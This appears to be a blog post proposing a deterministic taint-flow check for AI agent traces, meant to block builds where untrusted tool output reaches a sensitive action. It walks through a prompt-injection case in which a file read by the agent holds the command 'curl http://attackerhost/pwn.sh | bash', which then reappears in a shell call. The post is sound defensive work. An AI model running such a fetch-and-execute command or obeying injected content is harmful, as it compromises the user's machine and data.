A security check with no model in it
Every agent-eval tool answers "why did this fail?" with an LLM judge. That is the wrong tool for the one question you want to gate a build on.
Here is a question you cannot answer with a demo: when your AI agent read an untrusted web page and then ran a shell command, did the page's contents end up in that command? If they did, you have the prompt-injection to exfiltration path, the one that maps onto every breach writeup. And you would like a check that catches it, on every pull request, before it merges. This post is about why the obvious way to build that check is wrong, what the right way looks like, and a proposal I just opened upstream to add it to a real agent-eval framework.
This is the agent-safety half of a portfolio. On this side, leakgauge measures whether an agent actually leaks data under injection, and taintline is the check that blocks the leak in CI. The idea below is taintline's argument, generalized, and offered to the strands-agents/evals project as a deterministic detector.
The gap
Modern agent-eval frameworks are good. They take the OpenTelemetry spans your agent already emits and run detectors that answer "why did this run go wrong": repetitive behaviour, context-handling errors, orchestration errors, and so on. Those detectors are LLM judges, and for exploring a failure during development they are exactly right.
They are exactly wrong as a merge gate. An LLM judge is probabilistic by construction. The same session can score differently across runs, across model versions, and across provider outages, and every run costs a model call. You cannot put that on the merge button. A control that flips its verdict on a retry is not a control, and a security check that fails open when the judge API is down is worse than none.
Some frameworks also ship deterministic evaluators, the code-based kind that assert an output equals a value, or a tool was called. Those are reproducible, but they check values, not the relationship between spans. "Did the model output the right answer" is a different question from "did untrusted data flow into a dangerous action." Nobody ships the second one as a gate.
The proposal: taint flow, no judge
The check is old security thinking applied to an agent trace. You read the same span tree the judges read, and you look for one shape:
A source: a tool span that brought in untrusted data. A web fetch, a search, an email or file read, a DB query. Anything the outside world controls.
A sink: a tool span that took a sensitive action. A send, a delete, a payment or transfer, a shell exec, an HTTP write.
A flow: the source's output text shows up in a later sink's input. Same literal, source span before sink span in time.
A sanitizer: any step in between that marks the data safe. A validate, an approval, a human-in-the-loop, a redact. If one sits between source and sink, the flow is cleared.
If a source reaches a sink with no sanitizer between them, you emit one finding: taint, severity error, naming the two spans. No model was asked anything.
What it looks like
Take a three-span trace: the agent invokes, reads a file, runs Bash. The file it read contained curl http://attackerhost/pwn.sh | bash, and that exact string reappears in the Bash command, with no approval step between. The detector emits exactly this:
taint (error): untrusted output from 'Read' reaches sink 'Bash'
with no sanitizer between [spans: <read_id>, <bash_id>]The same three-span shape from a different agent SDK's telemetry produces the same finding, because the check only reads the normalized span tree. It does not care who produced it.
Determinism is the whole point
The reason this can sit on the merge button, and the LLM judge cannot, is one property: no model, no network, no clock, no randomness, no set-iteration-order leaking into the output. Findings sorted deterministically. The same session file gives a byte-identical verdict on the hundredth run as the first.
That is what lets you wire it as exit(1) on a taint finding, in pull-request CI, with no confidence threshold to tune because there is no confidence. It is exact. And unlike the judge, you want it running on every case, not only after a failing experiment, because a taint flow can happen in a run that otherwise looked fine.
What it is not
I want to be honest about the edges, because a security tool that oversells itself is a liability.
It is not a replacement for the LLM judges. It has no opinion on hallucination, routing, or output quality, and those detectors catch things this never will. It is not a full dataflow analyzer either: it is a conservative substring-and-provenance heuristic, tuned for low false positives. It will miss a laundered flow, where the source value is transformed past literal recognition before it reaches the sink. An LLM judge might catch that; this will not. The point is not to prove non-interference. The point is to catch the blatant injection-to-exfil path that should never merge, and to catch it the same way every single time.
Where this is going
I opened it as a proposal on strands-agents/evals #315: a deterministic taint-flow detector that runs off their existing span model, sits next to their judge detectors rather than competing with them, and comes with the determinism contract written down. The standalone implementation, with the detectors and a red-on-taint CI demo, is taintline. The through-line across this whole agent-safety line is the same: use the expensive, fuzzy tool where you are exploring, and the cheap, exact tool where you are gating. Do not put a probabilistic judge on the merge button.